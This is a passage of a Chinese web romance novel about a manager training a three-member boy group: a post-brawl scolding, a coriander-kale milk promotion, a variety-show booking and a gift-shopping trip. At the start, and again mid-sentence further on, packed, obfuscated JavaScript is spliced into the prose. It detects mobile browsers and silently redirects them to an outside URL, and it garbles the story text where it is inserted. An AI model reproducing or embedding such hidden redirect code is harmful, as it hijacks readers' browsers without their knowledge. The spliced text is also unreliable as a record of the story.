l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126319|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬行轨迹的萧子重: “我才离开三天,你们就要翻了天了!?不要玩一些奇奇怪怪乱七八糟的游戏啊喂,这是我家,注意点素质好不好!!” 众人互相看了眼,才感觉事情有点不大对劲。 30分钟后。 沙发上坐了一排人,个个闷头给自己擦药。 奚亭云手臂脱臼,关清英摁住他,猛地扭动两下,咔哒复位。 手臂短时间内脱臼又复位,奚亭云痛得语气虚弱,脸色苍白,还要朝始作俑者道谢:“谢了。” 萧子重正憋着气,拿剥了壳的鸡蛋敷脸,旁边的安声拿眼心虚地觑他。 宫欢看着茶几上的道具,手指拎起闪烁着银光的手铐,气笑了:“这都什么?谁给我解释解释?手铐、麻绳、口布,蒙眼条,你们玩得挺刺激啊,嗯?一个个都出息了啊?找死吗?” 关清英也不由得坐直了听训,她咳了咳:“这些是我之前在剧组用的一些道具,没舍得扔,一直带在身边,可能是搬过来的时候让他们误会了,才会闹成这样。” 宫欢对她没那么凶,只是理解地点点头,转而问萧子重几人:“你们呢?谁先开始的?” 萧子重拿着鸡蛋滚过脸上的红肿,疼得直抽气,见宫欢看他,只好闷声闷气地说: “我本来是好心帮你搬东西,结果谁知道那箱子里骨头手术刀福尔马林尸体图鉴,什么吓人玩意儿都有。就,就以为你不是好人。” 宫欢冷笑一声:“我不是好人你第一天知道?要真想把你怎么样还能让你活蹦乱跳到现在,诶!为了拉资源我辛辛苦苦在外面奔波劳累,你倒好,吃着我的喝着我的还要怀疑我?” “真是长本事了。” 萧子重哑巴了,埋头不吭。 宫欢视线一转,看向安声,态度和缓不少:“你呢,怎么回事?” 安声朝萧子重看去,萧子重也哼了声,安声声音小小地:“我,我看见萧哥偷偷摸摸,以为他也不是好人......” 萧子重又直起腰板,理直气壮地反驳道:“谁偷偷摸摸了,我那是以防万一!” 安声本就心虚,立马道歉认错:“我错了,萧哥不是偷偷摸摸,是...是鬼鬼祟祟。” 萧子重嘿了一声,气得无语了躺在沙发上装死。 宫欢最后看向奚亭云,脱臼的疼痛似乎还没缓和多少,他看着虚弱得很:“你呢?他们闹的时候你在哪?” 叮叮叮—— 警铃顿时在三人大脑中急促响起。 萧子重一个激灵坐直了,安声不自觉手脚并起。 关清英疑惑地看了这两人一眼。 曾经参与过多场的真实刑讯让她很熟悉这些姿态——两人紧张的微表情,吞咽的各种动作,貌似都在紧张,紧张宫欢问的这个问题。 奚亭云轻轻抽气,人看着很弱势,像是受了欺负,当然,也确实被欺负了。 他微低着头,眼眸上抬,透出种无辜脆弱的意味,语调不快不慢:“当时刚训练完比较累,就一直在健身房休息,本想来喝点水,看见他们那样以为是遇到什么危险了,没想那么多。” 萧子重和安声同时轻轻松了口气。 宫欢没再多问,只是在茶几前踱步。 眼神不善,幽幽地盯着他们看了几秒,终是没忍住噗嗤一声笑出来,眉眼弯弯,脸颊圆鼓鼓的,肩膀微微颤抖着弯下腰去。 惹得几人不明所以地看着她。 “哈哈哈哈哈,你们三个,三个人。” 宫欢笑得肚子疼,直接坐在奚亭云旁边的沙发边角位置,她伸手戳戳奚亭云手臂上的肌肉。 每戳一下,奚亭云就紧张得抖了抖,宫欢又看向三人,夸张地说:“居然没一个打得过她,哈哈哈哈,全部团灭。” 萧子重脸刷得一下黑了:“谁说打不过,我是被绑着根本没有施展拳脚好吗?” 安声附和:“是啊是啊,我当时被什么东西砸到了完全反应不过来。” 最后,两人盯着拿着擀面杖当武器的奚亭云,奚亭云轻咳:“我不会打架。” 宫欢才不听这些解释:“借口,都是借口,你们三个打不过一个,可见训练成果不行啊。” 关清英谦虚地笑笑解围:“不是他们的问题,我在剧组拍戏的时候经过特训,格斗散打都学过,而且招式都是直击要害的,能一举擒拿住罪犯。” 宫欢调侃道:“不用替他们说话,就要挫挫他们三个的锐气,不然一天天净给我惹事。” 逗完三人,宫欢拉着关清英去三楼挑房间,临走前还拉着关清英的手举起来:“现在给你正式介绍一下我们的新成员——武力值天花板关清英!” 宫欢抬手打断萧子重想抗议的动作,嚣张地摊手:“别说不服气的话,就你们几个,再练几百年再来挑战你们英姐吧。好啦,自己擦药去,我带你们英姐去选房间咯~” 两人攀谈着上了楼,留下沙发上三人。 萧子重气就没消过,这场闹剧里就他最惨,被敲一棒,被捆起来,想着就来气。气得胸口不停上下起伏,像是不断给气球充气似的。 安声罕见地极有眼色,给萧子重端茶倒水擦药,就差说一声:“小的全听您的吩咐!” 当然,奚亭云伤得最重,宫欢走后,他往后靠在沙发上缓和疼痛,朝萧子重和安声说:“谢了,帮我瞒着出去的事情。” 萧子重抬手摆了摆:“别说这么见外的话,现在我们也算是难兄难弟了。” 安声探头过来,喜滋滋地问:“那你不生我气了?” 萧子重白他一眼:“想得美!你打的是哪儿?脸啊,宫欢说这可是最值钱的地方,起码给我当牛做马一个月,我勉强原谅你。” 安声啊了声:“一个月......”有点久。 奚亭云突然想起来一个问题:“你们动静闹那么大,家里的阿姨们没听见吗?” 这么说,好像也是哦。 三人互相看了一眼,搞不懂原因。 后花园里,三四个阿姨正在择菜,聊起今天的八卦。 “太敬业了,大清早就开始演戏了。” “闹得还挺大呢,家里咣当乱响,哟我听着像是要把这别墅拆了,做明星也挺不容易哈,每天都要排练的。” “可不是,还好之前宫欢小姐说让我们专心做自己的事,他们爱怎么闹怎么闹,不用管就行,不然还真的挺担心呢,哈哈哈哈哈——” 29. 预热营销 厨房的料理台上,不锈钢的分格餐盘内被分别放入了绿色蔬菜、白水牛肉、杂粮米饭三种食物,除此之外,餐盘一角还额外放了一盒牛奶。 阿姨将三份餐盘端上餐桌。 奚亭云三人结束训练,说笑嬉闹着来到餐桌旁,萧子重看见餐盘里多出来的牛奶惊喜交加: “终于舍得给我们加餐了?” 萧子重拿起牛奶,看清香菜羽衣甘蓝一长串的名称时,嘴角的笑意僵了僵。 “香菜、羽衣甘蓝,哪路神仙会把这两种东西掺在一起?是在研究生化武器吗?为什么不去霍霍别人,专对自己人下手。” 萧子重才不上当,说着就要将牛奶扔开。 早上八点,高姐的脚迈进大厅,第一时间将头转向餐厅旁的三人,她抬手推了推眼镜: “羽衣甘蓝有利于你们的肠道健康,早餐必须喝,如果被我发现丢掉的话,训练加量,每个星期的放纵餐取消。” 萧子重往外抛的手紧急刹车,拐弯绕回来,他拿着牛奶扯出个难看地笑:“这东西真有人喝吗,谁喝得下去,我可以申请换成果蔬汁吗?” 高姐摇头:“不行,除非库存喝完就可以换。” 送牛奶那天萧子重在训练,他天真地问:“库存有多少?” 高姐手指比了个六,萧子重说:“六箱?” “不对。” “十六箱?” 高姐懒得让他猜了,“六百箱。” “夺少!!” 萧子重不敢置信,手里的叉子往桌上一扔,拿刀的手往脖子上架起,“杀了我吧,马上,我一天都活不下去了。” 餐厅响起哀嚎惨叫声,奚亭云拿起牛奶试探性地喝了一口,憋住半天没吭声。 安声紧张地问:“怎么样,什么味道啊?” 奚亭云面不改色咽下口中的液体:“就是牛奶味,很正常。” 安声半信半疑地盯着奚亭云。 见人又继续喝了几口,想着应该不会太难喝吧,毕竟都送来了那么多箱。 他将吸管插进去,放在嘴边喝了一口,脸如同温度计,绿色的温度直接染绿了整张脸。 胃里翻涌着烂菜叶味,翻江倒海地往上涌,安声一把捂住嘴,噌地站起身冲向洗手间,呕吐声极大。 宫欢从楼上下来时听见这声,非常严肃地走到餐桌旁监督:“谁吐了?这么健康的营养餐居然给我吐掉?” “那你来喝啊!” 萧子重刚在手机上刷到宫欢卖的新品牛奶,正是他们喝的这个口味。 罪魁祸首正是宫欢! 萧子重一只手攥紧牛奶盒,力度不小,纸盒被捏得缩扁,霉绿色的液体溢出来。 宫欢瞥他一眼,目光转向奚亭云,他风轻云淡地吃着饭,不由得开始拉踩对比:“你看看人家奚亭云,不挑食不作死,吃的最少练的最多,比你们听话多了。” 萧子重暗戳戳地将被捏扁的牛奶盒丢掉,结果一只手又拿来一瓶牛奶刷得放在他面前,他满脸想死地看向手的主人—— 高姐客气地摆手:“不用谢,我看你没喝几口,怕你营养跟不上。” 萧子重:“我!%%¥#&***!!” 奚亭云将牛奶喝完,看见宫欢手里拿着一叠文件,吃饭的动作停下,腰背坐得笔直:“是要给我们更换训练计划吗?” “差不多是吧。” 宫欢拉开主位的餐椅,将文件摆在桌上,双手撑在餐桌两边,俨然将餐厅当成了会议室。等安声从洗手间回来,她清了清嗓子,宣布最近成果: “前几天我去和一些业内人士应酬,经过一番波折成功拉来了资源!” “这是一档综艺节目,叫【敢说敢言】。” 宫欢将文件递给奚亭云,让他分给另外两人,几人拿着资料看起来。 宫欢讲解:“内容大概就是两个主持人对嘉宾们进行一些对话提问,是比较犀利直白的发问,主持人也会搞笑娱乐化嘉宾的回答,差不多就是搞笑玩梗的聊天模式。” 安声看着资料上写着曾经参加过节目的嘉宾:“我知道这个节目,之前看过一些片段,很搞笑的,不过邀请的都是很有名的明星诶。” “没错,我也看过。” 萧子重认同的点头,挑起半边眉毛看宫欢,“我低估你了啊,欢~姐~能拿下这种资源给我们小喽啰,肯定花了大功夫吧。” 宫欢高傲地抱起手臂,扬起下巴:“那是当然,我喝了不少酒呢。” 奚亭云捏着白到发蓝的A4纸边缘,目光从纸面上的文字移到宫欢身上,眼底带着种说不清的情绪:“喝多了酒,身体会不舒服吗?” 宫欢猝不及防被这么问,注意力歪了歪:“…还好吧,我酒量都练出来了。” 萧子重耐心很差,翻了几下就不乐意看了,将文件扔回桌上,嚣张地往后靠了靠餐椅椅背。 旁边高姐的死亡凝视太刺眼,他只好拿起香菜牛奶吞了一口,龇牙咧嘴地说:“所以我们到时候上节目了要说什么啊?” 宫欢眨了眨眼:“说?说什么?” 萧子重感觉大事不妙,坐直了身子,不太自信地说:“我们不是嘉宾吗?” 宫欢立马否决:“不是啊。” 安声丢下文件睁大眼睛:“那我们上节目做什么,当观众吗?” 宫欢拿着自己的那份资料,打开其中一页,指着上面的一排“中场节目”四个字,理直气壮地说: “喏,这儿。” “嘉宾们聊过一轮之后会有中场休息,休息的时候就是你们上场跳舞助兴的时候。到时候偌大的舞台就你们三个,想怎么跳怎么跳,而且观众绝对会鼓掌,尽管放心,他们都收了钱的,不鼓掌扣钱。” 奚亭云听完点点头,“明白了。” 萧子重和安声两人愣在原地。 “合着你前面那些话全是放屁!” 萧子重单手捂脸,深呼吸几下压住想怼人的冲动,仰起脸强行露出笑,阴阳怪气:“咱们下次能不能上来先说重点,别跟过山车似的,我都开始期待我上节目要摆什么姿势了!” 宫欢合上资料文件,靠在餐桌边沿,文件夹支撑着桌子,她两手搭在文件夹上,直言直语:“那你真是在做梦了,自己什么咖位没点数吗?” "诶我——" “有数。”奚亭云冷不丁接话。 萧子重瞪他:“有数就闭嘴!” 宫欢笑眯眯地朝奚亭云认可地点了下头,非常欣赏这位总是向着她说话的艺人。 果然啊,还是从草根捧起来的人有眼色。 安声失望地喝完了一整瓶香菜牛奶,不过还是对中场节目很上心,仔细研究中场的时间有多久,舞台场地的图片细节等等。 安声注意到总节目时长是2小时,每一小时里有中场节目,也就是一期节目里面有两场休息时间。 他提出疑问:“我们只有一场唱跳节目吗?” 宫欢收敛起有些懒散的态度,说:“对,你发现了盲点,这档综艺每期都是只有两场中场节目,我只争取到了一场,另外一场我打听了一下。” 宫欢再次将手撑在桌上,难得的态度认真。 “据说是璀璨娱乐有限公司的人,这家公司是我的老东家,我刚做经纪人的时候去他们那待过一段时间。节目组口风很严,不愿意透露很多,但是我总觉得,他们可能推出的也是男团组合。” 一般来说,经纪人所掌握的许多内幕是不会跟手下艺人分享太多的,一是怕被艺人反手背刺,二就是新艺人只需要做好自己的事,少关注一些影响心态的资源问题。 但宫欢大方的将担忧说明,并且说明原因,这是一种信任的态度。 一时间萧子重神色都认真起来,安声和奚亭云也都看宫欢,听着她说话。 “欢姐你是担心我们初舞台的露面被对方抢走风头吗。”安声接过话,平时他呆呆萌萌的,但涉及男团的事格外认真。 “要只是抢风头还好说,”宫欢没掩饰担忧,"他们手段很脏,到时候不知道会怎么买通稿营销,要是铺天盖地的花钱买粉丝,我还真比不过。" “没发生的事情你别想那么坏,”萧子重安慰她,翘起一条腿搭在膝盖上,一副大佬坐姿,自信地甩了甩头发,“万一我们三个亮相出场直接把他们全秒了,直接爆火。” 宫欢无语:“......有你真是我的倒楣日子到头了。” 萧子重以为她说的是福气,下意识谦虚地诶了一声,顿了两秒反应过来,又换上凶狠的眼神瞪她。 宫欢装作看不见他,望天。 奚亭云一直听着,沉思片刻:“现在担心也没有办法改变结果,只要我们再提高训练度,尽力做到完美,到时候哪怕被抢去风头,也不会太过于逊色,起码跟对方争个不分上下。” 不愧是她选的人,宫欢被奚亭云这番话说的欣慰不已。 安声也认同奚亭云的话,他赞赏地看他一眼,接着热情满满地站起来,伸手抓住宫欢的手: “欢欢姐放心,虽然我是他们里面年纪最小,舞龄最高的人,但我绝对不会嫌弃他们,我一定会带着大家一起进步!绝不辜负我们的初舞台!” 奚亭云眼睛钉死在两人交握的手上,默默深呼吸,果断站起身抓住安声的手,硬生生从宫欢手腕上扯开,假装和他握手上下晃动:“那还真是,谢谢你了。” 安声笑得灿烂:“大家都是队友,说什么谢不谢的。” 宫欢心里暖呼呼的,她欣慰地看着两人握手,然后看向翘着二郎腿坐在一边的萧子重,甩去一个眼刀。 就差说“死过来”了。 “得得得,”萧子重没好气地站起身走来,把手也搭上去握了握,“行了吧。” 宫欢这才满意,真是一个完美融洽的团队啊。 唱跳类演出需要提前彩排,离节目组给出的日期还有半个月的时间。 这期间,就是预热营销的最佳时间段。 在众人吃过早餐后,宫欢来到舞蹈训练室检查男团的成团舞。 通过这段时间的训练,三人默契十足。 宫欢有时会不定期抽查,奚亭云和萧子重的舞蹈动作,从最初的歪七扭八到精确标准。 与主C位的安声相比大差不差,只是在力道和姿势的控制度上差了许多,毕竟安声是专业的,舞蹈就是他的语言。 达到这种程度,宫欢已经知足了。 舞蹈训练室。 宫欢站在三人面前,杰西卡打开音响放出音乐——电子蝴蝶。这首曲子风格带着浓烈的科幻感,电音重音都不少,当初让杰西卡制作时,宫欢没有让她保留其中的人声演唱部分。 尽量让他们把重心放在舞蹈和个人的表演状态上面,不让歌词分心,但这样就要在音乐节奏上面下功夫。 因此【电子蝴蝶】的曲子在中间和后半段的高潮部分重音乐特别多。 编舞的部分,杰西卡收了钱,办事自然到位,她找了曾经火过许多舞蹈动作的几位老师进行编舞,推翻了十来个版本,最后才出来这一版。 宫欢正在看的就是最终版。 主C位安声,左边奚亭云,右边萧子重。 三人开场站在一起,眼神直视前方,镜头感非常好。 音乐开头是一个重音敲击,三人肩膀一松向下歪了歪身体,手臂看似松开,实则做出了游动的姿势,随着重击再次响起上半身忽然顿住。 一阵紧凑的鼓声,三人身体一点点复位,而后队形散开,先是安声的舞蹈部分,接着以三角形的队形切换到奚亭云,最后是萧子重。 舞蹈持续10分钟,结尾的退场是由大量的道具蝴蝶将三人淹没。 整场舞跳下来非常吸睛,每个人的小表情都非常完美,放大在镜头前绝对是能出圈的程度,就是还差点造型。 宫欢鼓掌夸赞道:“非常棒!完全超出我的预期,看来你们平时都没少训练。” 得到宫欢的认可,三人兴奋起来,叽叽喳喳地说着训练内容。 宫欢却走神盯着他们,心想造型方面该怎么找人设计,成团曲是偏机械科幻风的,妆容,发型,服饰,都要去和造型师沟通。 服饰最好是银色的外套,但可以反射出其他颜色的面料,发型要精致一丝不苟,给人一种恋爱仿生人的感觉,妆容也同样要大胆用色,配合外套搭配要亮眼。 还有舞台的布置,宫欢需要提前和节目组确认,不过这个可以在彩排的时候去商量。 宫欢将想法发给高姐,然后将比较中意的造型师名字发去,高姐很快回复OK。 宫欢:【最近微博再买点粉丝,对了还要找点接机的粉丝演员,过两天让他们拍个接机视频。】 高姐:【最近接机粉丝涨价了,之前100一个人,现在要三百了。】 宫欢:【?怎么涨了这么多。】 高姐:【说是最近接机的戏份比较多,接不过来。】 宫欢:【......行吧,贵就贵点,让他们别那么假,之前韩雨寒那些接机视频一眼假。】 高姐:【OK,等下造型确认了我做好文档发给你,最近花钱的地方不少,你看看大概的资金出入对不对。】 宫欢走出舞蹈训练室。 打开最近的资金支出明细查看。 从签下奚亭云等人开始,衣食住行没花多少钱,大概两百多万,最花钱的是营养师、健身教练、世界级舞蹈老师等等在三四百万左右。 零零整整加起来有六百多万,是比较大的投资金额。 这期间三人一分没给她赚,全是花出去的钱。 宫欢卖牛奶金主给了一千万,综艺节目打款到账了四百万。 综艺节目还没播出,不知道到时候剪辑风向如何,可能还需要做公关,买水军花钱等等,也是一笔不小的支出。 宫欢收起手机,手指下意识扣在手机壳的边缘。 现阶段是投资期间,艺人不是物品,是不能一下达到顶峰的,都需要个成长的过程,只要培养得当,人靠得住,结果不会太差。 之前拿到一亿的兴奋冲上头,让宫欢忽略了对赌协议失败的下场——被没收所有财产。 宫欢目光渐渐变得坚定,她绝不会让这种事发生。 走出舞蹈训练室没几步远,身后的门被打开。 安声探出头一阵张望,小跑跟上来,拍拍宫欢的肩膀,还没等她回头,就将脑袋伸到宫欢肩侧,距离过近。 “欢姐!我有话要跟你说。”蓬松的金棕色微卷发走到阳光下还闪过暖光,看起来毛茸茸的。 宫欢停住脚步,抬手摁住安声的头往旁边推了推,将肩膀斜靠墙边,懒洋洋地说:“快放。” 安声无辜地挠了挠头,总觉得以前学到的招式在欢姐身上大打折扣,一点都不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126320|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。 “就是我爸妈那边呀......”安声凑到宫欢旁边,为了照顾她的身高,略微俯低上身,嘀嘀咕咕地说着悄悄话。 两人的位置距离舞蹈训练室的大门并不远,奚亭云难得开小差,没有去听杰西卡的讲解,刚走到玻璃门边就撞见两人说悄悄话的场面。 宫欢背靠墙,抱着手臂看他,圆亮眼睛轻缓地眨动,时不时点点头。 安声则是背对着大门这边,视觉看上去非常近。 尤其是安声,手还抓住了宫欢的衣服轻轻晃了晃,不值钱的散发魅力,脸上的小表情丰富,眨眼撒娇时,脸上露出梨涡。 宫欢看着懒洋洋,但很吃这套。 因为身高差距,她下巴高高仰起看人,但却不会给人一种高高在上的感觉。脖颈白皙的肤色似乎透光,能看清些许血管脉络。 不知道听见了什么,灵动的眼眸微微瞪大,眼睫极快的颤了颤,又眨了几下眼。 奚亭云放在身侧的手把衣摆捏的发皱,他抬手一把将门推开,眼睛直勾勾看向慌乱无措的两人,罚站似的站在墙边。 “你们在说什么?” 奚亭云声音低沉沉的,整个人都隐在暗色的阴影里,和日常的他差得有点远。 宫欢看得发愣,大脑空白片刻。额了一声,一只手叉腰,一只手很忙的捋头发。 她总不能说跟安声在密谋怎么骗他爸妈吧? 这种事情解释不好,很容易变成宫欢为了骗主C位和他们组建男团去隐瞒父母之类的,会让奚亭云他们对她的信任度大打折扣! “我在和欢姐聊男团的事情!” 安声为了掩饰心虚,手臂从身后绕到宫欢肩上轻轻搭着,手指拢住了宫欢手臂上的软肉。 为了提示宫欢配合他演戏,还用了些力道捏了捏手臂,“对吧欢姐!” 宫欢默默转头看他,眉头直跳,不爽却又只能摁下情绪:“啊哈哈哈对对对。” 奚亭云目光没移开,幽深的眼眸盯着两人接触的身体部位,呼吸沉重,脚步慢慢靠近。 宫欢明明站在太阳底下,却感觉扑面而来阵阵冷风,总有种说不出的心虚。 也许是一碗水端不平的心虚? 她刚想推开安声好好安抚奚亭云几句,没想到倒是安声先松开手,他往后退了几步,被奚亭云盯得转头就跑,丢下句: “欢姐我去外面等你!!” 他要抗不住了!! 奚哥的眼神太吓人了!!! 宫欢愣在原地,侧头看向跑得没影的安声:“哈??” 没摸清楚状况的宫欢再回头时,奚亭云已经到了眼前,黑压压的阴影笼罩下来,她又只得将脸慢慢仰起来,对上奚亭云深不见底的眸色。 他眉毛压低,眉心微皱,整个人仿佛披上了一层灰色细纱,平常的波澜不惊,贴心懂事好像都不见了。 “为什么不找我聊?”连声音都变了许多,好像,没那么夹了,哑了不少。 宫欢迟钝了三四秒,才想起来刚才的话题。 聊男团的事情找你,好像和自找死路没什么区别。 如果面前的人是萧子重,宫欢绝对会马上讲这句话,但偏偏是个奚亭云。 嘶,他这个人很特别,是宫欢从路边选中的,非常标准的草根出身,可性格内敛沉稳,一看就是那种多少心事都会藏在心底的人。 宫欢见过圈内不少艺人都有心理疾病,她是个情绪外耗者,耗死别人,自己快乐,但她又很护短,见不得自己人受委屈。 对安声,她是半哄半骗,对萧子重,软硬兼施,但对奚亭云,宫欢是最拿不准的。 对男团的许多决策和商量,其他人都需要时间思考,奚亭云却不会,像是不知道什么是拒绝和反抗,不论任何事,他都是第一时间答应,然后站在宫欢这一边。 他察言观色,懂事听话,一看就是委屈自己成全他人的小可怜。 所以,对他,宫欢会耐下心。 沉默片刻,宫欢抬眼看了看他,不知是不是心理作用,奚亭云原本黑压压的脸变得委屈起来。 宫欢伸手轻轻拍拍他肩膀,声音放轻到一个微夹的程度:“那还不是没来得及找你嘛,等我跟安声商量好了就马上找你聊了,你们是一个团队,谁都很重要的。” 奚亭云并不满足,他垂下眼睫,将脸偏到一边,眼角余光又去看宫欢。 他的鼻梁是偏锋利的,面容本该是惊艳型的锐利美,可鼻头的迂回和下垂的眼尾使奚亭云的面部组合更多变。 很多时候,他脸上的细微神情变动后,就能完美的能达到切换面相。 平时看着沉稳挂的一个人,这会儿像是得不到食物而不满的动物,更别说,这位还是学过播音的。 脸好,声音好。 “你敷衍我。”奚亭云说。 好了好了。 什么都别说了,宫欢自有打算。 宫欢再次在心底为自己的星探眼光鼓掌,然后一只手搭在奚亭云肩上,一只手的手指贴在奚亭云脸侧,微微用力将他的脸拨回来。 奚亭云没想到她会这么做,原本故作矜持的劲直接散了,反倒被宫欢的手捏住。 连呼吸都屏住,全身失去力气,只有她触碰的皮肤灼热滚烫的存在着。 宫欢是谁,从小到大见识过的人和手段只多不少。 她的手顺着奚亭云的侧脸轻点两下,而后将手搭在他发顶,轻轻揉了揉。 “我可是对你最上心认真的,电脑里给你做的培养新人文档计划是最多的!没有找你聊是因为你超级优秀根本不需要我的干扰!” 宫欢收回手,朝他wink一下,笑得明艳,“所以答应我不要胡思乱想好嘛?乖点?” 奚亭云只撑住了3秒。 第三秒时脸就浮上了一层浅淡的红,他皮肤敏感,脸一红起来,连带着脖颈下巴至耳尖都升温。 来宫欢家以后,这是他第一次被她如此近距离的触碰。 之前一些肢体接触都点到即止,宫欢很在意分寸感,以至于他基本都是默默靠近,或者偶尔折腾一下,宫欢会看两眼,然后不再关注。 没想到,这么突然...... 奚亭云根本控制不住自己,他吞咽声很清晰,会不会暴露...... 然而宫欢哄完他,就退后几步要走,临走前两指在额头前轻点了下,朝奚亭云晃晃:“我先去忙了哦,专心训练~” 搞定。 男人,好哄的很。 宫欢轻盈地转身离开,及腰的发尾在空中转了个弯,随主人离去。 奚亭云站在原地,一只手压在胸口,试图摁住错乱的心跳,似乎又感受到了她手心轻贴侧脸的温度,更是呼吸略微急促起来。 这段时间以来,他尝试过很多种办法在宫欢面前刷存在感,想让她注意他,关心他。 作为粉丝,奚亭云离她还很远。 作为艺人,他近了不少,可也只能点到即止,宫欢对他们三人都差不多,没有过多的偏袒和关注。 可看到宫欢和萧子重聊天说话时,看到安声跟她撒娇时,奚亭云就控制不住自己卑劣的想法。 不要和他们说话,不要那么近。 多靠近一下我,好不好。 奚亭云没有资格说出这些话。 最终,他半靠在墙边,缓和着被人轻而易举扰乱的心跳。 30. 义结金兰 一辆越野车正开在高速路上。 车内,宫欢操控着方向盘,专注地看着前方路况,腾出半边耳朵,听旁边的人絮絮叨叨。 安声拿着手机跟她对台词: “进门之后,千万千万不要提到任何有关“夜店”、“艳舞”之类的话。一定不能忘了——你是去商场准备购物的时候,听到我动人优美的歌喉,让人情不自禁停下脚步,认真倾听这美妙的声音,然后发现了我这颗金子!” “我们要串好口供,欢姐你当时是说——” “停停停,”宫欢抬手打断他,抽空看他一眼,“只是去你家跟你爸妈说,我觉得你很有天赋,好好捧红你不就行了,有必要这么细节吗?” 安声严谨道:“当然有了,俗话说“带纸上厕所,万事不求人”,准备全面了到时候才能完美应对呀。” 宫欢面露嫌弃:“这句话是萧子重说的吧。” “不管是谁说的,至少非常应题。” 安声举着手机,屏幕上是备忘录界面,里面写着他提早准备好的“慧眼识珠”小故事,被宫欢一打岔有些忘了。 “刚才说到哪儿了?” “说到——你在教我做事?” 宫欢看着十字路口的绿灯,一脚油门,车窜出去,将安声险些甩到前车窗上,好在有安全带,不然这会儿绝对要把头磕个包。 安声胆战心惊地坐回副驾驶,手抖抖颤颤摸索到扶手,声音都带着颤音:“欢姐我我晕车,你别开太快,诶!这段路好像不是去我家的方向?” “放心,我会在你吐出来之前到地方,”宫欢侧头朝副驾驶的安声笑,“去你家作客总要带点东西吧,我可从不空手去别人家。 只见她漫不经心地踩油门,刹车快而猛,遇到开得慢的车就加速超过,一路上安声的身体前后摆动,活像个不倒翁。 十几分钟过后,宫欢将车停在路边,安声推开车门,整个人晕晕乎乎地踩实地面。 他上身是天蓝色T恤,下摆有圈偏设计感的毛边,米白色宽松长裤配运动鞋。 宫欢则是穿着无袖深绿宽松上衣配阔腿牛仔裤,身上配饰多,头戴贝雷帽,头发柔顺地贴在颈侧,耳环则是几个环相扣连接的样式。 她下车锁门,大步走到安声前面领路。 边走边问:“你妈妈喜欢什么,爸爸喝酒抽烟吗?” 安声晃了晃头,驱散坐车的晕眩,发觉宫欢步子迈得很大,说话间已经走出一段距离。 他两步跟上,亦步亦趋地跟在她身侧,有些客气: “不用这么破费买东西啦,他们人很好的,就算空手去也可以啊。” “我天生愚笨,不知道空手是什么意思。” 宫欢注意着商场的自动旋转门,手碰了碰安声的手臂,示意他走在后面别撞门,两人一前一后进了专卖奢侈品的商场。 宫欢很少亲自跑商场买东西,今天也是赶巧,碰上安声说要应付家里的询问,只好临时来买点东西。 A市市中心的TYU商场是出了名的奢侈品商场,来往的人不多,基本都是非富即贵,不少明星也会出现在这附近。 有明星出没的地方,自然少不了狗仔。 商场门外的草坪中,钻出一颗覆满草叶的头,头的主人吐出嘴里的草叶,点开刚才拍下的高清照片—— 宫欢手搀着一年轻男子的手臂,两人一起进奢侈品商场。 狗仔勾了勾嘴角:“又有新的料可以爆了。” - “他们爱好挺小众的,我妈妈是专门研究杂技的工作者,她喜欢收集杂技书籍,”安声细细说着,“我爸爸喜欢什么嘛,他挺喜欢捡破烂。” 宫欢在商场转了一圈,听安声的描述也推测不出能让他父母趁心的物品,索性就往贵了买吧。 她找了家燕窝专卖店,进去选了两箱礼盒款,付款刷卡时,数字后面的零让安声不由得瞪大眼睛去数:“一二三四五!?五位数的——燕窝!!” 工作人员将礼盒放进安声手里,他抱着轻飘飘的两个礼盒,还没从震惊中回过神来,宫欢就迅速转移换地方了。 “欢,欢姐!”安声跟上她,“这些是不是太贵重了啊,其实随便买点水果就好啦,本来日常训练的吃穿住,你都帮我们包揽了。” 宫欢慢悠悠逛着,目光在一溜品牌店门口略过,寻思还要买什么合适,抽出空来安慰他两句:“不会啊,你值得这么贵的。” “而且,要记住哦,安宝,以后也会有别的人给你买更贵的东西。” 宫欢停下手上转着的车钥匙,握在手里,转头一本正经地哄他: “甚至有送房送车的好心人,数不胜数。你到时候可不要被迷了眼,别一不小心就被富婆姐姐骗走了,要专注事业,好好赚钱回馈我——你的贵人我,知道嘛?” 安声甜甜地答应下来,凑到宫欢旁边亲了亲她侧脸:“知道的,欢欢姐放心,我一定不会被人骗走的!” 猝不及防又被亲了脸。 亲脸这种礼仪行为,在安声做来并不奇怪,反而会让人觉得非常自然可爱,但宫欢很多时候并不喜欢被触碰身体部位。 宫欢默了默,抬手擦擦脸,思考:还是保留他这个习惯吧,以后可以哄金主。 走到一家护肤品店,挑了两套七八万的护肤品。安声怀里又多了两套礼盒,接着转到名表店,选了款基础的男士腕表,简单买几样差不多了,宫欢才带着大包小包的安声上车。 将礼品放在后排车座上,安声打开定位导航,方便宫欢看地图。 宫欢瞄了眼地图,驱车开往定位地点。 路程并不远,大概二十分钟左右,安声家所在的小区分两片区域,一片是密集住宅楼,一片是独栋小楼。 开进小区后,安声时不时指路:“欢欢姐,左拐,然后往前直行。” 银白色的车身缓缓停在独栋小院的花园前,宫欢停好车,看向围栏围起来的花园,里面种着不少盆栽,花园后面一扇小门通往客厅。 宫欢大致看了看,安声的家庭条件算是比较好的,不然也没办法支持他学艺术。 她偏神想到另外两个艺人,萧子重不用说了,专业话剧演员又无存款,一看就是家里有人兜底。 而奚亭云,可能比宫欢想象的还要穷。 看来有空要了解下他们的家庭和经济情况,好做出相应的心理建设,免得后面火了容易被钱迷了双眼,半路被蝇头小利绊住脚步栽跟头。 两人下车,安声将礼品放在花园的栅栏门前,然后拿出手机给家里人打去电话让来开一下门。 挂断电话,安声见宫欢四处张望,拉了拉她衣角,凑到旁边提醒她:“欢欢姐,别忘了刚才说的。” 宫欢自信满满:“事情交给我,你就放心吧。” 